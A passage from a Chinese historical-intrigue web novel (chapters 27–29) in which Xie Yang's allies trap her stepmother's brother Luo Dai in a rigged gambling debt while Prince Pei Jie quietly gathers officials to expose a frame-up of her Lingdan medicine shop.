他想起来了,第二局押注的时候,刘老板好像确实说了句什么“不够的我垫上”,只是他当时满脑子都是赢钱,哪里顾得上这些?
“后来,”刘老板继续说,“你第三局押四万两的时候,本钱只有两万,又找我借了两万,第四局借了四万。后来你输了,自是把这些借的钱都输了,钱虽输了,可借据还在呢——”
他把几张借据一一摆在桌子上,有三张,分别是一万、两万、四万两,共七万两,加上他第六局到第十二局欠的三万两,一共是十万两。
罗岱的脸彻底白了。
刘老板又从袖子里掏出一张纸:“还有今晚的茶水、点心、伺候的丫鬟,加上罗兄你方才激动打碎的那只茶盏——那可是前朝官窑的物件,这些加起来一万两。”
他把那张纸也展开,四张加在一起,齐齐整整十一万两。
罗岱的腿软了。
“不对!”他突然喊起来,“你们出老千!那老东西洗牌有问题!周昂霄是你们的人!你们合起伙来诓我!”
他指着那干瘦老者,又指着周昂霄,声音又尖又抖。
“你们······你们设局害我!你们这群杂种!我要报官!”
刘老板没说话,干瘦
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老者没说话,周昂霄也没说话。
角落里,那个一直沉默的黑衣人却忽然开口:“报官?”他声音嘶哑低沉,像是砂纸磨过的木头,“你赌了这么久,不知道赌场的规矩?愿赌服输,输了认账,至于那些不认账的——你知道是什么后果吗?”
黑衣人步步紧逼,走到罗岱面前:“你要报官,可以。明早你走进府衙,说你被做局了,府尹会问你,那暗局在哪?谁开的?谁坐庄?你拿什么证据证明人家出千?”
罗岱张了张嘴。
“你说不出来,”黑衣人替他说了,“因为你根本不知道,明天一早,这里的一切都会消失得干干净净。”
他弯下腰,凑近罗岱的脸。
“你拿什么报官?”
“还有,”黑衣人直起身,“你不是第一天赌。你欠孙泼皮几千两,他是什么人?他在凤阳混了十几年,没人动的了他,知道为什么吗?”
罗岱下意识摇摇头。
“因为他从不惹不该惹的人,”他看着罗岱的眼睛,“而你,从一开始就走错了。”
说完,黑衣人转身,往门口走去。
走到门口,他停下脚步,头也不回,只丢下一句话——
“罗岱,十一万两,三天,少一文,你死。”
厅里静得能听见蜡烛燃烧的噼啪声。
罗岱瘫坐在椅子上,浑身软烂如泥。
刘老板从罗岱身后拍了拍他的肩膀,俯身在他耳边说:“罗岱,那位爷可不是一般人,我劝你识相点,三天过后,他可是真能要你的命。”
罗岱的嘴唇哆嗦着,说不出话来。
刘老板也不等他回答,朝周昂霄点点头:“周公子,送送罗兄?”
周昂霄站起来,笑着走到罗岱身边,一把搀起他的胳膊。
“罗兄,走吧。我送你出去。”
罗岱被他架着往外走。走到门口,他忽然挣扎着回头。
“你们——”他的声音又尖又抖,“你们到底是谁的人?”
刘老板站在灯下,笑容可掬。
“罗兄,这话问得就没意思了。”他慢条斯理地整理着袖子,“我们是生意人。开门做生意,来者是客。你赢了钱,我们高兴;你输了钱,我们——也高兴。”
他拱了拱手。
“罗兄,慢走。三天后见。”
门在他身后缓缓关上。
罗岱站在夜风里,浑身发抖。
三天,十一万两。
他忽然想起刚才那个黑衣人的眼睛——那双眼睛看他,像看一件死物。
不是吓他,是真的。如果他三天后还不上这钱,他会死,他真的会死。
“罗兄?”周昂霄的声音在旁边响起,“你没事吧?”
罗岱转过头,看着他,周昂霄还是那张人畜无害的脸,还是那副和气生财的笑容,可罗岱现在看他,只觉得浑身发冷,随后一股强烈的愤怒涌上他的心头。
罗岱忽然挣脱:“狗杂种——”挥着拳头向周昂霄的脸上招去。
说时迟,周昂霄一闪身,避开了罗岱的拳头,抬脚用力往罗岱身上踹去。
这一脚力度极大,罗岱被踹出三四米远,剧烈的疼痛让他喊不出声,蜷缩在地上大口喘气,狼狈如狗彘。
“你……”他的声音发抖,“你从一开始就在骗我,对不对?”
周昂霄敛起笑容,面色森森:“骗不骗的,重要吗?你想吃人,人就会吃你,当初为非作歹时,你可有想过今日?”
周昂霄说完,也不管罗岱如何,径直离开了。
同一时刻,永安侯府,听竹轩,谢泱正坐在灯下看书。
茯苓推门进来,躬身道:“姑娘,成了。”
谢泱抬眸。
“罗岱今晚输了十一万两,借据都签了。周公子已经撤出来,明早就出城。刘老板那边也收拾好了,三天后就换地方。”
谢泱点点头,目光落回书页上。
“哈哈,真是大快人心!”半夏抚掌,神采奕奕,“那罗岱惹谁不好,偏偏惹我们姑娘,还不知道罗漪华知道了会怎么头痛呢!”
谢泱被半夏这个样子逗笑了,调侃她:“我看你呀,现在真像那句话——”她假装思考。
半夏以为谢泱要夸她,抢先一步回答:“是不是‘痛打落水狗’!”
“是‘小人得志’!”谢泱点了点半夏的额头。
“姑娘!”
27.泣血
“对了,姑娘,”茯苓又问,“叶三还问,暗局里的那个黑衣人是姑娘您安排的吗?看着不像是我们的人。”
“黑衣人?”谢泱目光一顿,这场暗局她并未特意安排什么黑衣人。
茯苓看着谢泱疑惑的样子,便开口解释:“赌局结束后,就是那黑衣人威胁罗岱说三日后还不上钱就要取他性命。”
“姑娘?”茯苓一下就反应过来自家姑娘恐怕也不知道这人的底细,不禁有些担心,“此人会不会对我们的计划有影响?要不要再着人查一查?”
谢泱的目光停留在手中的书页上,一时之间没有说话。
她的思绪回到那晚——
“要我帮忙吗?”
“不必。”
她拒绝了裴玠的帮忙,但又不代表他真的会放手不管。
“姑娘?”茯苓的声音将谢泱飘远的思绪拉回来,她眼神失焦又聚焦,分明告诉别人她在走神。
“姑娘!我们说正事你怎能走神呢!”半夏假装抱怨,实为调侃,“不知道在想哪家公子呢?”
“你家姑娘是这么不正经的人吗?”谢泱伸手轻轻敲了敲她的头,随后看向茯苓,“那个黑衣人,影响不了我们,先不用管。”
她会找个时间问问裴玠。
“是,姑娘。”
“时候不早了,姑娘,我们伺候你歇息吧?”
谢泱放下手中的书,抬眼看向窗外沉沉的夜色,时候确实不早了,也不知道明日这个时候,罗漪华还睡不睡得着。
······
罗岱在城西那条巷子里坐了整整一夜。
天亮时,他的腿已经麻的没有直觉了,脑子却前所未有的清醒,或者说是——前所未有的混乱。
十一万两,三天期限。
他想起那个黑衣人的眼睛,想起刘老板笑眯眯的脸,想起周昂霄临走时抛给他的最后一句话——你根本玩不起。
他现在没得选了。
罗岱拖着两条发软腿,往永安侯府的方向走去。
永安侯府后院的角门,守门的门房瞧见罗岱时,不禁愣了愣——这位爷往常进出门,那次不是趾高气昂、吆五喝六的?怎么今儿个脸色白的像鬼,走路还打颤?
“舅爷,你这是——”
“滚开——”罗岱一把推开他,魂不守舍地往里闯。
罗岱住前院,今儿个偏偏直愣愣闯了后院,门房也不敢拦着他,眼睁睁看着他进去了。
反正是侯爷的小舅子,随他去吧,门房叹了一口气。
罗岱路过后花园时,正巧他的随从烛烟偷偷溜了进来调戏小丫鬟,看见自家爷忽然出现在这里,还如此狼狈,魂都要吓没了,赶紧上前搀扶着罗岱。
“爷,你怎么这会子才回来?可担心死奴了,奴正要去寻您呢!”
烛烟眼睛一转,瞎话张口就来。
昨晚罗岱去城西,烛烟本也是跟在他身边,但周昂霄借口说刘老板规矩多,三言两语就把烛烟打发了。
烛烟落得清闲,罗岱一夜未归,他也以为自家爷赢了钱后,又去哪个温柔乡寻欢作乐去了。
罗岱一夜担惊受怕,眼下看见自己的奴才都比自己过的好,气更是不打一出来。
“混账玩意儿!”罗岱抬手狠狠给了烛烟一巴掌,“主子都这般模样了,你还在这里快活!”
他一夜不吃不喝,力气早已耗尽,打出去的巴掌也是不痛不痒。
但烛烟还是捂着脸,三两下就跪下了,直磕头:“都是奴才的不是,但凭爷处置。”
这一来,弄出不小动静,往来奴仆都停下来看着他们,窃窃私语。
但罗岱顾不得那么多,他把烛烟拉起来,在他耳边说了一阵,说完,一巴掌拍在烛烟脑门上,催他:“还不快去!”
烛烟听完,面色大惊,说都说不出来了,连滚带爬出府去了。
附近下人看到这一幕,更是忍不住笑出了声,但在看到罗岱阴沉沉的神色后,又作鸟兽散,各干各的活计去了。
罗岱径直往正房去了。
正房内,罗漪华正由丫鬟服侍着,对镜梳妆。
听见脚步声,她眉头一皱——哪来的不懂规矩的,没等通报就往里闯?
还没等她开口呵斥,门就被撞开了。罗岱扑进来,直接跪在她面前,包着她的腿嚎啕大哭。
“姐!姐你救救我!这次你一定要救救我!”
罗漪华被罗岱这一出弄得猝不及防,面色沉下来。
“起来!”她压低声音,同时示意丫鬟去将门阖上,“像什么样子?让人看见——”
“我管不了那么多了!”罗岱抬起头,涕泪横流,“姐,我欠了十一万两,三天期限,还不上就没命了!姐你一定有办法,你救救我!”
罗漪华的手僵在半空,十一万两?
她低头看着自己这个不成器的弟弟,看着他被酒色掏空了的脸,看着他那双哭红了的双眼,一股气血直充天灵盖。
她眼前一黑,差点倒下去,还是柳嬷嬷眼疾手快扶住了她。
“你——”罗漪华一口气没喘上来,“你再说一遍?”
“十一万两······”罗岱的声音越来越小,“姐,我知道你生气,可我也是被人骗了——他们设局害我,我一开始明明赢了的——”
“你闭嘴!”罗漪华一把甩开他,站起身,来来回回走了几步,又猛地停下,指着他的鼻子,“上个月,我给了你八百两,上上个月,我给了你一千二百两!你当我的银子是大风刮来的?!十一万两——你就是把我卖了也不值这个数!”
罗漪华气糊涂了,连“将她卖了”这种话都说出来了。
“姐!”罗岱又扑上来,扒着她的腿,“姐你一定又办法——你不是说那个灵丹阁值钱吗?你先拿出来救急,回头——”
“你给我闭嘴!”罗漪华一脚踹开他,“灵丹阁是谢泱那丫头的,跟我有什么关系?我就是有心也无力!”
“可你不是说迟早是你的——”
“迟早是迟早,现在是现在!”罗漪华气得浑身发抖,“你以为十一万两是孩童玩闹的数字?我现在上哪给你弄这么多银子?!”
罗岱被她骂得不敢吭声,只是跪在地上,眼泪啪嗒啪嗒往下掉。
良久,罗岱抬起头,抽搭地问罗漪华:“姐,你不是说过,要护着弟弟一辈子吗?”
这句话像一把利剑,直插罗漪华心底最柔软的地方。
罗漪华缓
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缓低头,看着罗岱这副样子,心里又气又急又有一丝说不清的心酸滋味——这是她弟弟,亲弟弟。父母亲四十岁才得的这么一个宝贝儿子,捧在手心里长大的。
十多年前,她离家嫁入永安侯府,罗岱才五岁,拽着她的袖子不撒手,哭着喊着“姐姐别走,你走了谁来护着我”,小小的人一番话说得她泪眼婆娑,她蹲下来擦干他的泪,答应他会一辈子护着他。
那时候她满是野心,成功拉下了叶淑然,又将谢元鼎的心牢牢把住。
她坚信自己能为家族带来荣光,所以她数十年如一日的经营,叶淑然死了,她也要她的女儿谢泱死。
可是不知怎的,她忽然有些累了。
“你先起来。”罗漪华依然是生气的模样,但态度缓了缓,“这事我得想想办法。”
罗岱如获大赦,爬起来,罗漪华看着他,忽然问:“爹娘知道吗?”
罗岱目光闪了闪,没说话。
罗漪华立即知晓了答案,神色再次沉了下去:“你告诉他们了?”
“我······我也是着急······”罗岱的声音透着一股子心虚。
罗漪华闭上眼睛,重重地吐出一口气。
果不其然,次日一早,一封信从彭城快马加鞭送到了凤阳。
罗漪华拆开信,手都在抖。
信是她母亲写的,字迹潦草,上头还有几滴干透了的泪痕:“漪华吾女,见字如晤。日前接岱儿书信,言及欠下巨额赌债,三日为期,否则性命堪忧。汝父与吾闻之,五内俱焚,夜不能寐······今遣急足驰书,惟望吾儿念及手足之情,救汝弟于水火······”
罗漪华的手指收紧,信纸边缘微微发皱。
“······吾家虽忝列伯府,实已中落,汝父半生俸禄,尽数填补于岱儿身上。今府中账上空空,典当无物,实无力为之填补。思来想去,惟有求助于吾儿······”
“······为娘知你在侯府不易,继室难为,步步惊心。然岱儿乃汝同胞手足,罗氏三代单传,只此一子。若他有个闪失,罗氏一脉,从此断绝。汝父常言:吾家虽无显赫之权,然书香传家,清白自守,从不求人。今为汝弟,不得不低首。”
罗漪华闭上眼睛,母亲的笔迹在眼前晃动,字里行间都是在劝她救这个他们唯一的儿子,字字委婉,又字字紧逼!
“若岱儿得救,罗家上下感念吾儿恩德。若……若有不测,娘亦不愿独活。华儿,手足情深,唇亡齿寒,惟吾儿裁之。”
“母字泣血。”
罗漪华把信纸攥成一团,弟弟死了,母亲便不愿独活,那她算什么!
她想起当初嫁入侯府时,母亲塞给她的那个包袱,里面是攒了多年的体己,整整两千两,那时候她感动非常,发誓将来一定报答。可这些年,她报答得还少吗?罗岱赌钱,她出。罗岱惹事,她摆平。罗岱欠债,她填。爹娘一封接一封地写信来,话里话外都是“你弟弟不容易”“你是姐姐要多帮衬”。她帮了,她一直在帮!
可现在——十一万两,她上哪儿找十一万两?
罗漪华把信纸折好,放进匣子里,起身往外走。
她必须要想办法,尽快将灵丹阁弄到手!
28.暗流
谢泱从灵丹阁回来的时候,面色如常。
她穿过候府侧门,沿着抄手游廊往自己的院里走。路过正院时,她的脚步一顿——里头隐隐约约传来罗漪华的声音,像是在骂人。
谢泱的嘴唇弯了弯。
半夏跟在她身后,听到里面的动静,捂嘴笑了笑:“姑娘,听人说,罗岱一大早就回来了,在后院里发了好大一通脾气呢!”
谢泱了然,无非是恼羞成怒,刚才她从花园走来,不少嘴碎的小丫鬟还在议论此事,谢泱想装作听不见都难。
“三天凑齐十一万两,饶是再要端着夫人架子,她也是从容不了了。”
谢泱压低声音对半夏说,“她”自然指的是此时已经焦头烂额的罗漪华。
半夏点点头,颇为赞同自家姑娘的话。
话音刚落,远远就瞧见正房那边,罗岱白着脸出来,如丧考妣。
谢泱一脸玩味,拉着半夏往旁边树下躲了躲。
没过多久,又见罗漪华神色匆匆走了出来,身后只跟着她的心腹柳嬷嬷。
她们走的很快,加之着急,并未发现不远处的谢泱主仆二人。谢泱递给半夏一个眼神,半夏当即便明白,这是要她跟去悄悄,罗漪华做什么去了。
半夏点头:“我明白,姑娘你也快回去吧。”她叮嘱谢泱。
谢泱颔首,回听竹轩去了。
她回到自己房里,让洒扫丫鬟都退下,独自坐在窗前,只留茯苓在身边伺候。窗外秋阳正好,园子里那两株桂花已经谢了,空气里却还残留着若有若无的香。
谢泱端起茶盏,慢慢饮了一口。
没多久,半夏便回来了,进来先牛饮一大口茶。
“哎呀,你慢些,也不怕呛着。”茯苓贴心地顺着半夏的背脊。
半夏喝完,喘一口气,才开口:“姑娘,罗漪华去了库房,半天都没出来,我便先回来了。”语气兴冲冲的,仿佛发现了什么不得了的事。
听见“库房”二字,谢泱与茯苓对视了一眼。
主仆二人立即明白了罗漪华去库房要做甚——自然是先清点清点自己的私房和府中余钱,看看有没有什么能动的地方。
“茯苓,你之前的估计有把握吗?”谢泱问茯苓。
“八九不离十。”
谢泱在准备算计罗岱时,便先让茯苓去估算一番罗漪华的私房钱,看看大概有多少。账上的事,茯苓比半夏心细,是故没有半夏不知道这回事。
看着两人打哑迷一般说话,半夏嘟嘟嘴:“你们说什么呢?又瞒着我!”
谢泱轻轻一笑:“傻丫头,不是什么大事,我让茯苓去点点罗漪华的私房钱。”她耐心解释给半夏听。
“罗漪华的私房钱,顶多二三万两,加上那些嫁妆首饰,以及这些年她掌家,从宫中昧下的,顶天了也就五六万两。”谢泱目光严肃起来,盘算着罗漪华的私账。
半夏震惊:“五六万两?这离十一万两还差一大截呢!”
这候府夫人做的也太窝囊了些,这么多年就攒下这些银子?半夏撇撇嘴:“就这她还敢和姑娘你斗呢?”
谢泱却不以为然,候府这种情况,罗漪华还能攒下这些体己,其实已经不错了。
又不是人人都能像她一样能做生意。
只是,罗漪华就算有五六万两,也不会全部拿出来。她还有一儿一女呢,旻哥儿还小,但谢云萱可不小了,眼看也可以相看人家了,罗漪华自是要留出钱来备嫁妆,嫁妆若是薄了,少不得会被未来婆家瞧不起。
想到这,谢泱不禁生出些庆幸来,虽说她没什么亲情缘,但好歹老天不愿看她过得太凄惨,在银钱这一项上对她算是大方。
茯苓适时开口:“姑娘,这样一来,是不是就能逼得她动公账上的钱了?”
谢泱放下茶盏,手指轻轻叩着桌面。
她摇了摇头:“公账上的钱,她不敢动,动了就没法和父亲交代了,剩下的缺口,她只能把主意打到灵丹阁上。”
“可灵丹阁现在还没出事呢。”
谢泱听着茯苓的担心,觉得不无道理。
灵丹阁现在还没出事,就算出了事,罗漪华的手也伸不了这么快。
那么,她现在还能动哪里的账呢?
谢泱深思,脑中突然弦动:“笄礼!”
半夏和茯苓被谢泱的突然出声吓了一跳:“笄礼?”
谢泱眼中突然流露出兴奋的神色,看着两个丫鬟:“我的笄礼,我记得虽说是从府中公账拨钱,但钱一早就给了罗漪华,说来这笔银子现在并不算公账,她若有心,自是想扣多少就扣多少了!”这话说的,仿佛她的笄礼和她无关。
“姑娘!”半夏嗔怪,“这可是你的笄礼!女儿家出阁前的头一等大事,你怎么说得好像和你没关系一般!”
茯苓也赞同地点点头。
谢泱不以为然地挥挥手,若不是因为灵丹阁,府里会借口“办笄礼”要她回来?
“不过是一个我在凤阳世家面前露脸的机会而已,你们作何如此较真。”
“姑娘!”半夏和茯苓同时开口。
谢泱看着面前两个神色认真的丫鬟,心里觉得她们实在是可爱的很,免不得要安慰她们几句:“好好好,我的笄礼,我自然会上心,你们放心吧!别生气啦!”
谢泱放软声音,睁大眼睛瞧着她们,瞧得半夏和茯苓破了功,三人都笑了起来。
“姑娘,要不要我去盯着那边,若是罗漪华动了笄礼这一项的银子,我们也好先做准备。”茯苓想得周到。
“先不必。”谢泱想了一番后说,她的笄礼还有半月,说巧不巧,势必要和灵丹阁的事撞上,眼下自然是后者更重要,“等笄礼到眼前了,再作打算也来得及。”
“是。”茯苓信谢泱有应对突发状况的能力,所以也不怕罗漪华在姑娘的笄礼弄什么幺蛾子。
“对了,”谢泱又开口,“我估摸着,灵丹阁出事就在这两天,无论有什么突发状况,你们都要做好心理准备,不必慌张。”她仔细叮嘱半夏和茯苓,就怕倘若她有什么状况,这两个丫头情急之下漏了怯。
“放心吧姑娘——”半夏看了一眼茯苓,眼里的促狭都要憋不住了,“若是有事,我一定第一时间去找世子殿下!”
“去!”谢泱点了点半夏的眉心,“就你嘴碎!”
谢泱站起身,走到妆台前,对着镜子看了看自己的脸。镜子里的那张脸,不笑时,冷清、平静,看不出一丝波澜。她伸手理了理鬓发,指尖碰到脸颊时,忽然在想——
不知道他此时在做甚?
裴玠近来着实忙碌,他踏入凤阳府衙后堂时,堂中已经燃起了三盏明灯。
长案上铺着一张凤阳府全图,旁边散落着几份文书,墨迹未干。一个身着青色官袍的中年人起身迎上来,拱手道:“殿下。”
此人姓顾,名怀瑾,四十出头,面容清瘦,目光锐利,是凤阳府通判——府尹之下的第三把手,品级不高,却掌管着府中刑名、钱粮两大要害。顾怀瑾出身琅琊王氏旁支,因家道中落,走了科举之路,在地方上沉浮十余载,三年前才调任凤阳。
此人与裴玠的交往,始于一场私下的品茶宴——彼时裴玠刚从京都顺天回到中都凤阳,需要一个熟悉本地官场却又不在核心圈子里的人,顾怀瑾此人最为合适
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。
“人到了?”裴玠坐下,接过顾怀瑾递来的茶。
“都到了,”顾怀瑾压低声音,“按照殿下的吩咐,分了三拨来,外头看不出破绽。”
裴玠点了点头。
顾怀瑾走到门口,朝外头低声道:“请进来吧。”
第一个进来的人,裴玠并不陌生——凤阳府推官孙明德。
孙明德同样四十出头,圆脸微胖,看起来一团和气。他在凤阳做了六年推官,专管刑狱诉讼,对凤阳地界上大大小小的案子了如指掌。此人不依附任何一方,也不得罪任何人,在府衙里是出了名的“泥鳅”——滑不溜手,谁也抓不住他的把柄。
可裴玠知道,孙明德有一个软肋——他的儿子孙兆安,三年前在顺天府卷入一桩科举舞弊案,虽未被定罪,却被革了功名,从此一蹶不振。
孙明德这些年明里暗里地四处奔波,就是想替儿子翻案,并且九王当年是如何在顺天府插手科举之事的,孙明德心里清清楚楚——
只是他苦于没有门路,也不敢声张、得罪了手眼通天的九王。
裴玠前几日让人给孙明德递了一句话:“若有人替你翻案,你可愿开口?”
孙明德沉默了整整几日,最终还是来了。
“孙推官,”裴玠起身,亲自给他倒茶,“请坐。”
孙明德受宠若惊地接过茶,连声道:“世子客气,下官惶恐。”
裴玠没有寒暄,直接道:“灵丹阁禁药一案,孙推官可曾过目?”
孙明德一怔,随即点头:“下官看过卷宗,查封的药材中不仅有马钱子、乌头等朝廷禁毒,甚至还有——慎恤胶。”说及此,他声音低了低,“按照《大齐律》,非官办药局不得私藏,违者以谋逆论处。表面上看,证据确凿。”
孙明德停顿一下,小心翼翼地看了一眼裴玠,“可下官总觉得······此时有些蹊跷。”
“蹊跷在何处?”
“这批药材店入库记录、出库单、掌柜签字,样样齐全,干净的不像真的——真正的账目,不应该这么整齐。”他停了停,又补充道,“还有一点,灵丹阁在凤阳开了这么些年,未曾听说出过什么纰漏,却偏偏在这个节骨眼上出事,时机未免太巧了。”
裴玠没有接话,只是看着他。
孙明德被那目光看得有些不自在,端起茶盏喝了一口,以此来掩饰自己的紧张。
“孙推官,”裴玠终于开口,声音不高不低,“若有人伪造证据、栽赃陷害,按律当如何?”
孙明德的喉结动了动:“按律,伪造证据者,杖一百,流三千里。若栽赃者罪名至死,则以故入人罪论,反坐。”
“若栽赃者是皇亲国戚呢?”裴玠继续问。
孙明德的脸色变了。
堂中安静了片刻,孙明德放下茶盏,手微微发抖,可他还是开口了,声音压的极低:“律法之下,天子与庶民同罪。”
裴玠看着他,从袖中取出一份文书,推到他面前。
“这是令郎当年科举案的卷宗。”裴玠声音很轻,“里面有几处关键证据,是伪造的。我已让人重新核查过,不日便可呈交大理寺。”
孙明德猛地抬起头,良久,眼眶微红。
他张了张嘴,想说些什么,裴玠却摆了摆手。
“孙推官不必多言,只一件事——灵丹阁的卷宗,还请孙推官再仔细看看,尤其是查封那日,谁带的队,谁签的字,谁验的药。”
孙明德深吸一口气,将那封文书收进袖中,站起身来,朝裴玠深深一揖。
“下官明白。”
他转身离去,步伐比来时轻快了许多。
29.批文
孙明德走后,顾怀瑾又出去了一趟,这次进来的人是凤阳府经历司经历周成安。
周成安五十出头,在经历司做了十几年,管的是府衙的文书档案,品级低,油水少,是凤阳府衙里最不起眼的人之一。
可裴玠知道,正是这种人,手里握着最多的秘密——土地契约、商税记录,人口户籍、案件卷宗,全都要经过他的手,凤阳没一件见不得光的事,他就算不知道内情,也一定见过蛛丝马迹。
巧的是,周成安此人的经历,与孙明德有些相似,且更为凄惨些。
孙明德的儿子尚且活着,周成安的独子却已离世多年——他的独子周文远,是凤阳颇有名的玉匠,当年,被征入中都留守司,为九王督造一批玉器。
工期紧、要求高,周文远日夜赶工,积劳成疾,咳血不止,欲告假求医,却被“工期在即,不得擅离”的理由驳回,拖了一个月,最终病死在工坊里,周成安去讨要说法,却被一句“为国效力,死得其所”打发了回来。
何其可笑!裴玠暗中遣人调查了当年之事,收集好了当年的工坊日志——上面详细介绍了九王的人是如何克扣工匠口粮、如何强征民夫、如何对病者不闻不问。
裴玠原本想着,将这份证据作为让周成安替他作证的交换筹码,可不曾想,周成安一进来,便对裴玠行了跪拜大礼。
裴玠连忙起身,想要将他扶起来,却被拒绝了。
“周经历这是何意?”
周成安沉默了许久,良久才抬起头来。
“世子殿下,”他的声音有些哑,“老朽的儿子没了,老朽这把年纪,也没什么好怕的了。”
言及此,裴玠还有什么不明白的了,他从桌面抽出那份工坊日志,交给了周成安。
周成安接过那份日志,粗略翻了几下,阖上,又对裴玠行了一个大礼。
接着,他便开始讲述自己知道的内情。
······
送走周成安后,顾怀瑾正要出去请下一位,裴玠却忽然伸手拦住了他。
“等等。”
顾怀瑾一怔,不解道:“殿下?”
裴玠没有回答,只是看着桌面上那份灵丹阁的卷宗,手指在封面上轻轻叩了叩。
“灵丹阁的账本,”他问,“现在在谁手里?”
顾怀瑾想了想:“虽说灵丹阁暂未查封,但今早灵丹阁掌柜便遣人先将账本送了来,此时应收在推官衙门的证物房里。孙明德方才没说,想来是没有动过。”
裴玠点了点头,又道:“那份账本,你觉得是真是假?”
顾怀瑾一愣,随即明白了他的意思:“殿下的意思是,灵丹阁交出来的账本,可能会被人动手脚?”
“不是可能,”裴玠站起身,走到窗前,背对着顾怀瑾,“灵丹阁的东家,不是傻子,她知道有人要害她,自然不会把真的账本交出来。”
顾怀瑾沉默了一会儿:“所以灵丹阁便先送了一本假账本来掩人耳目,而真正的账本,还在谢二小姐手里?”
顾怀瑾也是为数不多知道灵丹阁东家是谢泱的人。
裴玠没有出声,默认了他的说辞。
顾怀瑾看着裴玠的背影,犹豫了一下,还是开口道:“殿下,下官有一事不明。”
“说。”
“谢姑娘的想法,殿下似乎······知道得很清楚。”
裴玠转过身来,看着顾怀瑾,目光很平静,可顾怀瑾却被看得有些不自在。
“你想问什么?”
顾怀瑾咽了咽口水:“下官只是觉得,殿下对谢姑娘的事,格外上心。”
裴玠没有否认,当然也没有承认,他只是重新坐回椅子上,端起那盏已经凉了的茶,慢慢喝了一口。
“灵丹阁的事,不只是她的事。”他说,“九王选灵丹阁下手,是因为它是凤阳最大的药材供应商。控制了药材供应,便掐住了凤阳的一条命脉,而谢姑娘,只是被卷进来的无辜之人。”
顾怀瑾点了点头,可心里想的却是另外一回事——世子方才说的话,都对。可他说这些话的时候,语气和说起孙明德、周成安时,是不一样的。
不一样在哪里,顾怀瑾说不上来,他只是觉得,殿下提起永安侯府的那位姑娘时,声音比平时轻些。
“顾通判,”裴玠忽然开口,“明日你去一趟漕运盐铁使司,查一查近半年从中都发往顺天的药材批次。”
顾怀瑾收回思绪:“查药材?”
“灵丹阁的禁药是从漕运的私货里夹带的,那批私货不可能只进了一次。”裴玠翻开周成安留下的那份调档清单,手指在一行字上停住,“查到了,就能顺藤摸瓜,找到那个老东西在漕运上的暗桩。”
“是。”
“还有一事。”
“殿下请讲。”
“明日你去漕运司的时候,多带一个人。”
顾怀瑾一愣:“带谁?”
“灵丹阁的叶掌柜,”他说,“药材的事,他比我们谁都懂。”
裴玠合上清单,站起身来,准备离去。
顾怀瑾拦住裴玠:“殿下,方文进你还没见呢。”
“今日不见,让他改日”裴玠只丢下这一句话,便走了。
留下顾怀瑾一人在原地汗颜:“说不见就不见了,这这·····我还得去解释一趟。”方文进不是个好惹的,被爽约定是要发一通脾气的。
顾怀瑾摸了把额头上的汗,往反方向的门走去。
叶三接到消息时,正在灵丹阁的小院里清点账目。
来传话的是灵丹阁的跑堂、也是叶三的徒弟——余小六:“师傅,有人要见你。”他面色有些古怪。
“谁?这么晚了······”叶三头都没抬,目光停留在手中的账本。
“南安王府的人。”
叶三要翻页的手顿了顿,抬头看向小六,小六的表情说明他也不怎么明白这是怎么一回事。
“姑娘知道吗?”叶三问。
“姑娘还不知道,”小六答地干脆,“不过来的人说了,是世子殿下要请您帮个忙,去漕运司看一批药材的账。”
叶三沉默了一会儿,他在药材行当里摸爬滚打了半辈子,什么场面没见过?只是,世子求着他帮忙,这倒是头一遭。
“这事,我得先去请示姑娘。”叶三放下账本,起身往外走。
叶三的话传到永安侯府时,谢泱正在整理一个小小的乌木匣子,听见茯苓的话,她停下了手上的动作。
“世子?”她抬起头。
“是,叶三说,世子殿下请他去漕运司看药材的账,他拿不准注意,特来请示姑娘。”
谢泱没有立刻回答。
她低下头,把匣子里的一封信重新叠好,放回去,盖上盖子。
茯苓站在一旁,等她开口。
“去吧,告诉他去吧。”谢泱过了一会儿说。
“漕运司的药材账,叶三看得比他的人明白,只是,去了之后,看了什么,要叶三记下来,回来告诉我。”
“是。”茯苓应了一声,转身要走,又被谢泱叫住。
“姑娘还有何吩咐?”
谢泱沉默了一会儿,似乎在斟酌措辞,最后她只说了一句:“没事,让他小心些。”
茯苓点点头:“奴婢省得。”
茯苓走后,谢泱坐在桌前,看着那个乌木匣子,手指轻轻摩挲着匣盖上的纹路。
半夏看出了谢泱的异样,但她破天荒地什么也没说。
谢泱的思绪慢慢飘远——她不喜欢欠人人情,可她自遇到裴玠后,桩桩件件都在欠他人情,她不喜欢这种感觉。
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天下哪有这等便宜事,欠下的,都是要还的。
谢泱的思绪慢慢回笼,她重新打开了那个乌木匣子,取出一份已经泛黄了的文书——那是她母亲留下的,灵丹阁最原始的供货渠道记录。
她翻开第一页,目光落在一行字上:“漕运司,药材批文,泰和六年。”
下方签字的人,叫方文进。
谢泱不认得这个名字,但她认得这个姓氏,凤阳的方姓不多,能在漕运司的批文上签字的,更不多。
她把这页纸抽出来,放在一边,继续往后翻。
泰和七年,方文进的名字再次出现,这一次不是签字,而是备注——“方同知核准”。
谢泱皱眉,同知,凤阳府同知,从六品,分管漕运、水利、财政。一个府同知,为什么会出现在药材批文的核准栏里?药材生意是商贾之事,就算要过官府的手,也是漕运司的职责,和府衙有什么关系?
她又翻了一页。
泰和八年,三月——一批药材从中都发往顺天府,品种是马钱子、乌头,川乌,全是朝廷明令禁止民间私藏的禁药。
批文上写的是“官办药局调拨”,可承运商那一栏,写的是灵丹阁的老对手,恒和堂。谢泱知道这个铺子,恒和堂的东家姓赵,仗着自己是九王门客赵先生的本家侄子,生意场上一向张狂。
谢泱继续往下看,这批药的批文上,方文进的名字再次出现,这一次不是签字,也不是核准,而是“监发”。
她把纸放下,手指轻轻叩着桌面。
方文进,一个府同知,连续三年出现在禁药批文上,从“签字”到“核准”到“监发”——他的位置越来越高,此人一直在经手禁药,那灵丹阁的事,他不可能不知道。非但知道,很有可能经手人就是他。
所以,方文进到底是谁,他背后的靠山又是什么人?
谢泱站起身,在屋里来回走了几步,她需要知道更多。
那些批文上只写了“出库”,没写“去向”。药材从漕运司出来之后,去了哪里?是运到顺天去了,还是留在了中都凤阳?如果留在了中都,又藏在了什么地方?
这些东西,光看账本是看不出来的。
她需要亲眼去看看漕运司的原始记录——出库单、入库单、船队的航行日志。
这些东西,叶三不一定看得懂,不是看不懂药材、账本,而是看不懂这背后涉及到的官场中的弯弯绕绕。
叶三在药材行当里摸爬滚打这么多年,账目上的猫腻逃不出他的眼睛,可账目之外的东西呢——批文上的签字为什么换了人、核准栏里的官印为什么盖了两次、监发的日期为什么比出库日期晚了半个月······
这些细节,若是等着叶三回来给她禀报,怕是会有纰漏,她得亲自去看看!
“半夏。”
“怎么了姑娘?”一旁的半夏已经昏昏欲睡了。
